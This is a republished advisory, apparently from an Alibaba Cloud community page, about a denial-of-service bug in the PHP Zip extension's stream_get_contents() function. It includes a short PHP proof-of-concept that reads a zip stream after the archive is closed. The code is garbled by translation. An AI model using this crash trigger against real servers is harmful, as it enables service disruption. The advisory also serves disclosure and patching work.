PHP Zip extension stream_get_contents () function DoS Vulnerability and repair

Source: Internet
Author: User
Tags zip extension

Affected Versions:
MandrakeSoft shortate Server 4.0 x86_64
MandrakeSoft shortate Server 4.0
PHP 5.x

Vulnerability description:

PHP is a widely used scripting language. It is especially suitable for Web development and can be embedded into HTML.

The PHP "Zip" extension "stream_get_contents ()" function has a denial of service vulnerability. Remote attackers can exploit this vulnerability to cause application crashes, DOS, and arbitrary code execution. <* Reference
Http://bugs.php.net/bug.php? Id = 53579
*>
Test method:
<? Php

$ Target_file = META-INF/MANIFEST. MF;

$ Za = new ZipArchive ();
If ($ za-> open (test. jar )! = TRUE)
{
Return FALSE;
}

If ($ za-> statName ($ target_file )! = FALSE)
{
$ Fd = $ za-> getStream ($ target_file );
}
Else
{
$ Fd = FALSE;
}
$ Za-> close ();

If (is_resource ($ fd ))
{
Echo strlen (stream_get_contents ($ fd ));
}

?>
Vendor patch:

PHP
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.php.net

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.